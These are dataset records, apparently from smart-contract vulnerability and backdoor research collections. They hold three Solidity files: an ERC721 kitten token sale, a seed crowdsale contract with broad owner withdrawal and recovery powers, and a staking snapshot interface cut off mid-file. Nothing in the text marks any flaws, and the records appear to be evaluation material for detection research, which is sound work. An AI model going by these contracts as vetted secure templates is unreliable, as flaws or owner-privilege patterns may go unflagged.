| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xe41a1f73979cb25def133fb3a529d540057188f2.sol
| 4,241 | 16,250 |
pragma solidity ^0.4.18;
// inspired by
// https://github.com/axiomzen/cryptokitties-bounty/blob/master/contracts/KittyAccessControl.sol
contract AccessControl {
/// @dev The addresses of the accounts (or contracts) that can execute actions within each roles
address public ceoAddress;
address public cooAddress;
/// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
function AccessControl() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// @dev Access modifier for any CLevel functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress || msg.sender == cooAddress);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Pause the smart contract. Only can be called by the CEO
function pause() public onlyCEO whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Only can be called by the CEO
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
// https://github.com/dharmaprotocol/NonFungibleToken/blob/master/contracts/ERC721.sol
// https://github.com/dharmaprotocol/NonFungibleToken/blob/master/contracts/DetailedERC721.sol
contract ERC721 {
// Events
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
/// For querying totalSupply of token.
function totalSupply() public view returns (uint256 _totalSupply);
/// For querying balance of a particular account.
/// @param _owner The address for balance query.
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 _balance);
/// For querying owner of token.
/// @param _tokenId The tokenID for owner inquiry.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId) public view returns (address _owner);
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom()
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to, uint256 _tokenId) public;
// NOT IMPLEMENTED
// function getApproved(uint256 _tokenId) public view returns (address _approved);
/// Third-party initiates transfer of token from address _from to address _to.
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from, address _to, uint256 _tokenId) public;
/// Owner initates the transfer of the token to another account.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the token to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(address _to, uint256 _tokenId) public;
///
function implementsERC721() public view returns (bool _implementsERC721);
// EXTRA
/// @notice Allow pre-approved user to take ownership of a token.
/// @param _tokenId The ID of the token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public;
}
contract DetailedERC721 is ERC721 {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
// function tokenMetadata(uint256 _tokenId) public view returns (string _infoUrl);
}
contract CryptoKittenToken is AccessControl, DetailedERC721 {
using SafeMath for uint256;
/// @dev The TokenCreated event is fired whenever a new token is created.
event TokenCreated(uint256 tokenId, string name, uint256 price, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 indexed tokenId, string name, uint256 sellingPrice,
uint256 newPrice, address indexed oldOwner, address indexed newOwner);
/// @dev A mapping from tokenIds to the address that owns them. All tokens have
/// some valid owner address.
mapping (uint256 => address) private tokenIdToOwner;
/// @dev A mapping from TokenIds to the price of the token.
mapping (uint256 => uint256) private tokenIdToPrice;
/// @dev A mapping from owner address to count of tokens that address owns.
/// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from TokenIds to an address that has been approved to call
/// transferFrom(). Each Token can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding
mapping (uint256 => address) public tokenIdToApproved;
struct Kittens {
string name;
}
Kittens[] private kittens;
uint256 private startingPrice = 0.01 ether;
bool private erc721Enabled = false;
modifier onlyERC721() {
require(erc721Enabled);
_;
}
/// @dev Creates a new token with the given name and _price and assignes it to an _owner.
function createToken(string _name, address _owner, uint256 _price) public onlyCLevel {
require(_owner != address(0));
require(_price >= startingPrice);
_createToken(_name, _owner, _price);
}
/// @dev Creates a new token with the given name.
function createToken(string _name) public onlyCLevel {
_createToken(_name, address(this), startingPrice);
}
function _createToken(string _name, address _owner, uint256 _price) private {
Kittens memory _kitten = Kittens({
name: _name
});
uint256 newTokenId = kittens.push(_kitten) - 1;
tokenIdToPrice[newTokenId] = _price;
TokenCreated(newTokenId, _name, _price, _owner);
// This will assign ownership, and also emit the Transfer event as per ERC721 draft
_transfer(address(0), _owner, newTokenId);
}
function getToken(uint256 _tokenId) public view returns (string _tokenName,
uint256 _price,
uint256 _nextPrice,
address _owner) {
_tokenName = kittens[_tokenId].name;
_price = tokenIdToPrice[_tokenId];
_nextPrice = nextPriceOf(_tokenId);
_owner = tokenIdToOwner[_tokenId];
}
function getAllTokens() public view returns (uint256[],
uint256[],
address[]) {
uint256 total = totalSupply();
uint256[] memory prices = new uint256[](total);
uint256[] memory nextPrices = new uint256[](total);
address[] memory owners = new address[](total);
for (uint256 i = 0; i < total; i++) {
prices[i] = tokenIdToPrice[i];
nextPrices[i] = nextPriceOf(i);
owners[i] = tokenIdToOwner[i];
}
return (prices, nextPrices, owners);
}
function tokensOf(address _owner) public view returns(uint256[]) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 total = totalSupply();
uint256 resultIndex = 0;
for (uint256 i = 0; i < total; i++) {
if (tokenIdToOwner[i] == _owner) {
result[resultIndex] = i;
resultIndex++;
}
}
return result;
}
}
/// @dev This function withdraws the contract owner's cut.
/// Any amount may be withdrawn as there is no user funds.
/// User funds are immediately sent to the old owner in `purchase`
function withdrawBalance(address _to, uint256 _amount) public onlyCEO {
require(_amount <= this.balance);
if (_amount == 0) {
_amount = this.balance;
}
if (_to == address(0)) {
ceoAddress.transfer(_amount);
} else {
_to.transfer(_amount);
}
}
// Send ether and obtain the token
function purchase(uint256 _tokenId) public payable whenNotPaused {
address oldOwner = ownerOf(_tokenId);
address newOwner = msg.sender;
uint256 sellingPrice = priceOf(_tokenId);
// active tokens
require(oldOwner != address(0));
// maybe one day newOwner's logic allows this to happen
require(newOwner != address(0));
// don't buy from yourself
require(oldOwner != newOwner);
// don't sell to contracts
// but even this doesn't prevent bad contracts to become an owner of a token
require(!_isContract(newOwner));
// another check to be sure that token is active
require(sellingPrice > 0);
// min required amount check
require(msg.value >= sellingPrice);
// transfer to the new owner
_transfer(oldOwner, newOwner, _tokenId);
// update fields before emitting an event
tokenIdToPrice[_tokenId] = nextPriceOf(_tokenId);
// emit event
TokenSold(_tokenId, kittens[_tokenId].name, sellingPrice, priceOf(_tokenId), oldOwner, newOwner);
// extra ether which should be returned back to buyer
uint256 excess = msg.value.sub(sellingPrice);
// contract owner's cut which is left in contract and accesed by withdrawBalance
uint256 contractCut = sellingPrice.mul(6).div(100); // 6%
// no need to transfer if it's initial sell
if (oldOwner != address(this)) {
// transfer payment to seller minus the contract's cut
oldOwner.transfer(sellingPrice.sub(contractCut));
}
// return extra ether
if (excess > 0) {
newOwner.transfer(excess);
}
}
function priceOf(uint256 _tokenId) public view returns (uint256 _price) {
return tokenIdToPrice[_tokenId];
}
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
function nextPriceOf(uint256 _tokenId) public view returns (uint256 _nextPrice) {
uint256 _price = priceOf(_tokenId);
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(97);
} else {
return _price.mul(115).div(98);
}
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721() onlyCEO public {
erc721Enabled = true;
}
function totalSupply() public view returns (uint256 _totalSupply) {
_totalSupply = kittens.length;
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
_balance = ownershipTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
_owner = tokenIdToOwner[_tokenId];
// require(_owner != address(0));
}
function approve(address _to, uint256 _tokenId) public whenNotPaused onlyERC721 {
require(_owns(msg.sender, _tokenId));
tokenIdToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused onlyERC721 {
require(_to != address(0));
require(_owns(_from, _tokenId));
require(_approved(msg.sender, _tokenId));
_transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public whenNotPaused onlyERC721 {
require(_to != address(0));
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
function implementsERC721() public view whenNotPaused returns (bool) {
return erc721Enabled;
}
function takeOwnership(uint256 _tokenId) public whenNotPaused onlyERC721 {
require(_approved(msg.sender, _tokenId));
_transfer(tokenIdToOwner[_tokenId], msg.sender, _tokenId);
}
function name() public view returns (string _name) {
_name = "CryptoKittens";
}
function symbol() public view returns (string _symbol) {
_symbol = "CKTN";
}
/// @dev Check for token ownership.
function _owns(address _claimant, uint256 _tokenId) private view returns (bool) {
return tokenIdToOwner[_tokenId] == _claimant;
}
/// @dev For checking approval of transfer for address _to.
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return tokenIdToApproved[_tokenId] == _to;
}
/// @dev Assigns ownership of a specific token to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of tokens is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
// Transfer ownership
tokenIdToOwner[_tokenId] = _to;
// When creating new token _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete tokenIdToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
/// @dev Checks if the address ia a contract or not
function _isContract(address addr) private view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// v1.6.0
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 221,050 | 530 |
fef31b9f9c20b90630ef76bba11868c4422535aa4263b484d24a2080561bf93a
| 15,823 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x2495bd6d0ac7704c55f5eed01ae2591a5b53906c.sol
| 3,240 | 14,810 |
pragma solidity ^0.4.13;
contract ReentrancyHandlingContract {
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
}
contract Owned {
address public owner;
address public newOwner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
contract PriorityPassInterface {
function getAccountLimit(address _accountAddress) public constant returns (uint);
function getAccountActivity(address _accountAddress) public constant returns (bool);
}
contract ERC20TokenInterface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SeedCrowdsaleContract is ReentrancyHandlingContract, Owned {
struct ContributorData {
uint contributionAmount;
}
mapping(address => ContributorData) public contributorList;
uint public nextContributorIndex;
mapping(uint => address) public contributorIndexes;
state public crowdsaleState = state.pendingStart;
enum state { pendingStart, priorityPass, openedPriorityPass, crowdsaleEnded }
uint public presaleStartTime;
uint public presaleUnlimitedStartTime;
uint public crowdsaleEndedTime;
event PresaleStarted(uint blocktime);
event PresaleUnlimitedStarted(uint blocktime);
event CrowdsaleEnded(uint blocktime);
event ErrorSendingETH(address to, uint amount);
event MinCapReached(uint blocktime);
event MaxCapReached(uint blocktime);
event ContributionMade(address indexed contributor, uint amount);
PriorityPassInterface priorityPassContract = PriorityPassInterface(0x0);
uint public minCap;
uint public maxP1Cap;
uint public maxCap;
uint public ethRaised;
address public multisigAddress;
uint nextContributorToClaim;
mapping(address => bool) hasClaimedEthWhenFail;
//
// Unnamed function that runs when eth is sent to the contract
// @payable
//
function() noReentrancy payable public {
require(msg.value != 0); // Throw if value is 0
require(crowdsaleState != state.crowdsaleEnded); // Check if crowdsale has ended
bool stateChanged = checkCrowdsaleState(); // Check blocks time and calibrate crowdsale state
if (crowdsaleState == state.priorityPass) {
if (priorityPassContract.getAccountActivity(msg.sender)) { // Check if contributor is in priorityPass
processTransaction(msg.sender, msg.value); // Process transaction and issue tokens
} else {
refundTransaction(stateChanged); // Set state and return funds or throw
}
} else if (crowdsaleState == state.openedPriorityPass) {
if (priorityPassContract.getAccountActivity(msg.sender)) { // Check if contributor is in priorityPass
processTransaction(msg.sender, msg.value); // Process transaction and issue tokens
} else {
refundTransaction(stateChanged); // Set state and return funds or throw
}
} else {
refundTransaction(stateChanged); // Set state and return funds or throw
}
}
//
// @internal checks crowdsale state and emits events it
// @returns boolean
//
function checkCrowdsaleState() internal returns (bool) {
if (ethRaised == maxCap && crowdsaleState != state.crowdsaleEnded) { // Check if max cap is reached
crowdsaleState = state.crowdsaleEnded;
MaxCapReached(block.timestamp); // Close the crowdsale
CrowdsaleEnded(block.timestamp); // Raise event
return true;
}
if (block.timestamp > presaleStartTime && block.timestamp <= presaleUnlimitedStartTime) { // Check if we are in presale phase
if (crowdsaleState != state.priorityPass) { // Check if state needs to be changed
crowdsaleState = state.priorityPass; // Set new state
PresaleStarted(block.timestamp); // Raise event
return true;
}
} else if (block.timestamp > presaleUnlimitedStartTime && block.timestamp <= crowdsaleEndedTime) { // Check if we are in presale unlimited phase
if (crowdsaleState != state.openedPriorityPass) { // Check if state needs to be changed
crowdsaleState = state.openedPriorityPass; // Set new state
PresaleUnlimitedStarted(block.timestamp); // Raise event
return true;
}
} else {
if (crowdsaleState != state.crowdsaleEnded && block.timestamp > crowdsaleEndedTime) {// Check if crowdsale is over
crowdsaleState = state.crowdsaleEnded; // Set new state
CrowdsaleEnded(block.timestamp); // Raise event
return true;
}
}
return false;
}
//
// @internal determines if return eth or throw according to changing state
// @param _stateChanged boolean message about state change
//
function refundTransaction(bool _stateChanged) internal {
if (_stateChanged) {
msg.sender.transfer(msg.value);
} else {
revert();
}
}
//
// Getter to calculate how much user can contribute
// @param _contributor address of the contributor
//
function calculateMaxContribution(address _contributor) constant public returns (uint maxContribution) {
uint maxContrib;
if (crowdsaleState == state.priorityPass) { // Check if we are in priority pass
maxContrib = priorityPassContract.getAccountLimit(_contributor) - contributorList[_contributor].contributionAmount;
if (maxContrib > (maxP1Cap - ethRaised)) { // Check if max contribution is more that max cap
maxContrib = maxP1Cap - ethRaised; // Alter max cap
}
} else {
maxContrib = maxCap - ethRaised; // Alter max cap
}
return maxContrib;
}
//
// Return if there is overflow of contributed eth
// @internal processes transactions
// @param _contributor address of an contributor
// @param _amount contributed amount
//
function processTransaction(address _contributor, uint _amount) internal {
uint maxContribution = calculateMaxContribution(_contributor); // Calculate max users contribution
uint contributionAmount = _amount;
uint returnAmount = 0;
if (maxContribution < _amount) { // Check if max contribution is lower than _amount sent
contributionAmount = maxContribution; // Set that user contributes his maximum alowed contribution
returnAmount = _amount - maxContribution; // Calculate how much he must get back
}
if (ethRaised + contributionAmount >= minCap && minCap > ethRaised) {
MinCapReached(block.timestamp);
}
if (contributorList[_contributor].contributionAmount == 0) { // Check if contributor has already contributed
contributorList[_contributor].contributionAmount = contributionAmount; // Set their contribution
contributorIndexes[nextContributorIndex] = _contributor; // Set contributors index
nextContributorIndex++;
} else {
contributorList[_contributor].contributionAmount += contributionAmount; // Add contribution amount to existing contributor
}
ethRaised += contributionAmount; // Add to eth raised
ContributionMade(msg.sender, contributionAmount); // Raise event about contribution
if (returnAmount != 0) {
_contributor.transfer(returnAmount); // Return overflow of ether
}
}
//
// Recovers ERC20 tokens other than eth that are send to this address
// @owner refunds the erc20 tokens
// @param _tokenAddress address of the erc20 token
// @param _to address to where tokens should be send to
// @param _amount amount of tokens to refund
//
function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner public {
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
//
// withdrawEth when minimum cap is reached
// @owner sets contributions to withdraw
//
function withdrawEth() onlyOwner public {
require(this.balance != 0);
require(ethRaised >= minCap);
pendingEthWithdrawal = this.balance;
}
uint public pendingEthWithdrawal;
//
// pulls the funds that were set to send with calling of
// withdrawEth when minimum cap is reached
// @multisig pulls the contributions to self
//
function pullBalance() public {
require(msg.sender == multisigAddress);
require(pendingEthWithdrawal > 0);
multisigAddress.transfer(pendingEthWithdrawal);
pendingEthWithdrawal = 0;
}
//
// Owner can batch return contributors contributions(eth)
// @owner returns contributions
// @param _numberOfReturns number of returns to do in one transaction
//
function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner public {
require(block.timestamp > crowdsaleEndedTime && ethRaised < minCap); // Check if crowdsale has failed
address currentParticipantAddress;
uint contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++) {
currentParticipantAddress = contributorIndexes[nextContributorToClaim]; // Get next unclaimed participant
if (currentParticipantAddress == 0x0) {
return; // Check if all the participants were compensated
}
if (!hasClaimedEthWhenFail[currentParticipantAddress]) { // Check if participant has already claimed
contribution = contributorList[currentParticipantAddress].contributionAmount; // Get contribution of participant
hasClaimedEthWhenFail[currentParticipantAddress] = true; // Set that he has claimed
if (!currentParticipantAddress.send(contribution)) { // Refund eth
ErrorSendingETH(currentParticipantAddress, contribution); // If there is an issue raise event for manual recovery
}
}
nextContributorToClaim += 1; // Repeat
}
}
//
// If there were any issue with refund owner can withdraw eth at the end for manual recovery
// @owner withdraws remaining funds
//
function withdrawRemainingBalanceForManualRecovery() onlyOwner public {
require(this.balance != 0); // Check if there are any eth to claim
require(block.timestamp > crowdsaleEndedTime); // Check if crowdsale is over
require(contributorIndexes[nextContributorToClaim] == 0x0); // Check if all the users were refunded
multisigAddress.transfer(this.balance); // Withdraw to multisig for manual processing
}
//
// Owner can set multisig address for crowdsale
// @owner sets an address where funds will go
// @param _newAddress
//
function setMultisigAddress(address _newAddress) onlyOwner public {
multisigAddress = _newAddress;
}
//
// Setter for the whitelist contract
// @owner sets address of whitelist contract
// @param address
//
function setPriorityPassContract(address _newAddress) onlyOwner public {
priorityPassContract = PriorityPassInterface(_newAddress);
}
//
// Getter for the whitelist contract
// @returns white list contract address
//
function priorityPassContractAddress() constant public returns (address) {
return address(priorityPassContract);
}
//
// Before crowdsale starts owner can calibrate time of crowdsale stages
// @owner sends new times for the sale
// @param _presaleStartTime timestamp for sale limited start
// @param _presaleUnlimitedStartTime timestamp for sale unlimited
// @param _crowdsaleEndedTime timestamp for ending sale
//
function setCrowdsaleTimes(uint _presaleStartTime, uint _presaleUnlimitedStartTime, uint _crowdsaleEndedTime) onlyOwner public {
require(crowdsaleState == state.pendingStart); // Check if crowdsale has started
require(_presaleStartTime != 0); // Check if any value is 0
require(_presaleStartTime < _presaleUnlimitedStartTime); // Check if presaleUnlimitedStartTime is set properly
require(_presaleUnlimitedStartTime != 0); // Check if any value is 0
require(_presaleUnlimitedStartTime < _crowdsaleEndedTime); // Check if crowdsaleEndedTime is set properly
require(_crowdsaleEndedTime != 0); // Check if any value is 0
presaleStartTime = _presaleStartTime;
presaleUnlimitedStartTime = _presaleUnlimitedStartTime;
crowdsaleEndedTime = _crowdsaleEndedTime;
}
}
contract LegacySeedCrowdsale is SeedCrowdsaleContract {
function LegacySeedCrowdsale() {
presaleStartTime = 1512032400;
presaleUnlimitedStartTime = 1512063000;
crowdsaleEndedTime = 1512140400;
minCap = 356 ether;
maxP1Cap = 748 ether;
maxCap = 831 ether;
}
}
| 147,908 | 531 |
573594ce7fda5b7499b5f34a51f6297cb8b18ddb0e79634eee9b620fa10ca53d
| 14,658 |
.sol
|
Solidity
| false |
452101552
|
tokamak-network/tonstarter-project-token
|
bd5ce5b3bf997055cfd87af9e89bd8300369977d
|
contracts/interfaces/IAutoCoinageSnapshot2.sol
| 2,845 | 11,718 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IAutoCoinageSnapshot2 {
/// @notice This event is emitted when taking a snapshot. You can check the snashotAggregatorId.
event Snapshot(uint256 snashotAggregatorId);
/// @notice This event is emitted when taking a snapshot of a specific layer2,
/// You can check the snapshot ID of a specific layer2.
/// @param layer2 a layer2 address
/// @param id a layer2's snapshotId
event SnapshotLayer2(address indexed layer2, uint256 id);
/// @param layer2 a layer2 address
/// @param id a layer2's snapshotId
event SyncLayer2(address indexed layer2, uint256 id);
/// @param layer2 a layer2 address
/// @param account an account address
/// @param id a layer2's snapshotId
event SyncLayer2Address(address indexed layer2, address account, uint256 id);
/// @param layer2 a layer2 address
/// @param id a layer2's snapshotId
event SyncLayer2Batch(address indexed layer2, uint256 id);
/// @notice This event is emitted when the PowerTONSwapper calls during staking and unstaking,
/// and you can know the Layer2 and account information that are saved for later syncs.
/// @param layer2 a layer2 address
/// @param account an account
event AddSync(address indexed layer2, address indexed account);
/// @notice Set the segManager and layer2Registry address. onlyRole(ADMIN_ROLE) can call it.
/// @param _seigManager a segManager address
/// @param _layer2Registry a layer2Registry address
function setAddress(address _seigManager, address _layer2Registry) external;
/// @notice To support the basic interface of ERC20, set name, symbol, decimals.
/// @param name_ name
/// @param symbol_ symbol
/// @param decimals_ decimals
function setNameSymbolDecimals(string memory name_, string memory symbol_, uint256 decimals_) external;
/// @notice Managed Layer 2 addresses can be added by the administrator.
/// @param _layers layer2's addresses
function addLayer2s(address[] memory _layers) external;
/// @notice Managed Layer2 address can be deleted by the administrator.
/// @param _layer layer2's address
function delLayer2(address _layer) external;
/// @notice This functions is called when the PowerTONSwapper calls during staking and unstaking,
/// @param layer2 a layer2 address
/// @param account an account
/// @return uint256 account's length in needSyncs's layer2
function addSync(address layer2, address account) external returns (uint256);
/// onlyRole(ADMIN_ROLE) can call it.
/// @param layer2 layer2's addresses
/// @param accounts accounts's addresses
/// @param balances balances of AutoRefactorCoinageI(coinage).balances(account);
/// @param refactoredCounts refactoredCounts of AutoRefactorCoinageI(coinage).balances(account);
/// @param remains remains of AutoRefactorCoinageI(coinage).balances(account);
/// @param layerTotal _totalSupply of AutoRefactorCoinage(coinage)
/// @param layerFactor _factor, refactorCount of AutoRefactorCoinage(coinage)
/// @return bool true
function syncBactchOffline(address layer2,
address[] memory accounts,
uint256[] memory balances,
uint256[] memory refactoredCounts,
uint256[] memory remains,
uint256[3] memory layerTotal,
uint256[2] memory layerFactor)
external returns (bool) ;
/// @notice You can calculate the balance with the saved snapshot information.
/// @param v balances of AutoRefactorCoinageI(coinage).balances(account);
/// @param refactoredCount refactoredCounts of AutoRefactorCoinageI(coinage).balances(account);
/// @param _factor _factor of AutoRefactorCoinage(coinage)
/// @param refactorCount refactorCount of AutoRefactorCoinage(coinage)
/// @return balance balance
function applyFactor(uint256 v, uint256 refactoredCount, uint256 _factor, uint256 refactorCount) external view returns (uint256);
/// @notice Snapshot all layer2 staking information.
/// @return snashotAggregatorId
function snapshot() external returns (uint256);
/// @notice Snapshot the current staking information of a specific Layer2.
/// @param layer2 layer2's address
/// @return snashotId of layer2
function snapshot(address layer2) external returns (uint256) ;
/// @notice Synchronize the staking information of specific layer 2.
/// @param layer2 layer2's address
/// @return snashotId of layer2
function sync(address layer2) external returns (uint256);
/// @notice Synchronize the staking information of specific layer2's account.
/// @param layer2 layer2's address
/// @param account account's address
/// @return snashotId of layer2
function sync(address layer2, address account) external returns (uint256);
/// @notice Synchronize the staking information of specific layer2's accounts.
/// @param layer2 layer2's address
/// @param accounts accounts's address
function syncBatch(address layer2, address[] memory accounts) external returns (uint256);
/// @notice return snapshot ids for all layer2.
/// @param snashotAggregatorId a snashotAggregatorId
/// @return layer2's addresses
/// @return layer2's snashotIds
function layerSnapshotIds(uint256 snashotAggregatorId) external view returns (address[] memory, uint256[] memory) ;
/// @notice Total amount staked in Layer2 of Tokamak
/// @param layer2 a layer2 address
/// @return totalSupplyLayer2 totalSupply of layer2
/// @return balance a balance of layer2.balances
/// @return refactoredCount a refactoredCount of layer2.balances
/// @return remain a remain of layer2.balances
function getLayer2TotalSupplyInTokamak(address layer2) external view
returns (uint256 totalSupplyLayer2,
uint256 balance,
uint256 refactoredCount,
uint256 remain);
/// @notice balance amount staked in Layer2's account of Tokamak
/// @param layer2 a layer2 address
/// @param user account
/// @return balanceOfLayer2Amount balanceOf of layer2's account
/// @return balance a balance of layer2's account.balances
/// @return refactoredCount a refactoredCount of layer2's account.balances
/// @return remain a remain of layer2's account.balances
function getLayer2BalanceOfInTokamak(address layer2, address user) external view
returns (uint256 balanceOfLayer2Amount,
uint256 balance,
uint256 refactoredCount,
uint256 remain);
/// @notice balance amount staked in account of Tokamak
/// @param account account
/// @return accountAmount user's staked balance
function getBalanceOfInTokamak(address account) external view
returns (uint256 accountAmount);
/// @notice total amount staked in Tokamak
/// @return amount total amount staked
function getTotalStakedInTokamak() external view
returns (uint256 amount);
/// @param layer2 a layer2 address
/// @return snapshotted Whether a snapshot was taken
/// @return snapShotFactor factor in Snapshot
/// @return snapShotRefactorCount RefactorCount in Snapshot
/// @return curFactorValue a current FactorValue in tokamak
/// @return curFactor a current Factor in tokamak
/// @return curRefactorCount a current RefactorCount in tokamak
function currentFactorSnapshots(address layer2) external view
returns (bool snapshotted,
uint256 snapShotFactor,
uint256 snapShotRefactorCount,
uint256 curFactorValue,
uint256 curFactor,
uint256 curRefactorCount);
/// @notice Current snapshotId of the layer2
/// @param layer2 a layer2 address
/// @return Layer2SnapshotId Layer2's SnapshotId
function getCurrentLayer2SnapshotId(address layer2) external view returns (uint256) ;
/// @notice account's balance staked amount
/// @param account a account address
/// @return amount account's balance staked amount
function balanceOf(address account) external view returns (uint256);
/// @notice total staked amount in tokamak
/// @return total staked amount
function totalSupply() external view returns (uint256);
/// @notice account's balance staked amount in current snapshot
/// @param layer2 a layer2 address
/// @param account a account address
/// @return amount account's balance staked amount
function balanceOf(address layer2, address account) external view returns (uint256);
/// @notice account's balance staked amount in snashotAggregatorId
/// @param account a account address
/// @param snashotAggregatorId a snashotAggregatorId
/// @return amount account's balance staked amount
function balanceOfAt(address account, uint256 snashotAggregatorId) external view returns (uint256);
/// @notice account's balance staked amount in snapshotId
/// @param layer2 a layer2 address
/// @param account a account address
/// @param snapshotId a snapshotId
/// @return amount account's balance staked amount
function balanceOfAt(address layer2, address account, uint256 snapshotId) external view returns (uint256);
/// @notice layer2's staked amount in current snapshot
/// @param layer2 a layer2 address
/// @return amount layer2's staked amount
function totalSupply(address layer2) external view returns (uint256);
/// @notice total staked amount in snashotAggregatorId
/// @param snashotAggregatorId snashotAggregatorId
/// @return totalStaked total staked amount
function totalSupplyAt(uint256 snashotAggregatorId) external view returns (uint256 totalStaked);
/// @notice layer2's staked amount in snapshotId
/// @param layer2 a layer2 address
/// @param snapshotId a snapshotId
/// @return layer2's staked amount
function totalSupplyAt(address layer2, uint256 snapshotId) external view returns (uint256);
/// @notice account's staked amount in snashotAggregatorId
/// @param account a account address
/// @return accountStaked account's staked amount
/// @return totalStaked total staked amount
function stakedAmountWithSnashotAggregator(address account, uint256 snashotAggregatorId) external view
returns (uint256 accountStaked, uint256 totalStaked);
/// @notice last SnapShotIndex
/// @param layer2 a layer2 address
/// @return SnapShotIndex SnapShotIndex
function lastSnapShotIndex(address layer2) external view returns (uint256);
/// @notice snapshot's information by snapshotIndex
/// @param id id
/// @param layer2 a layer2 address
/// @param account a account address
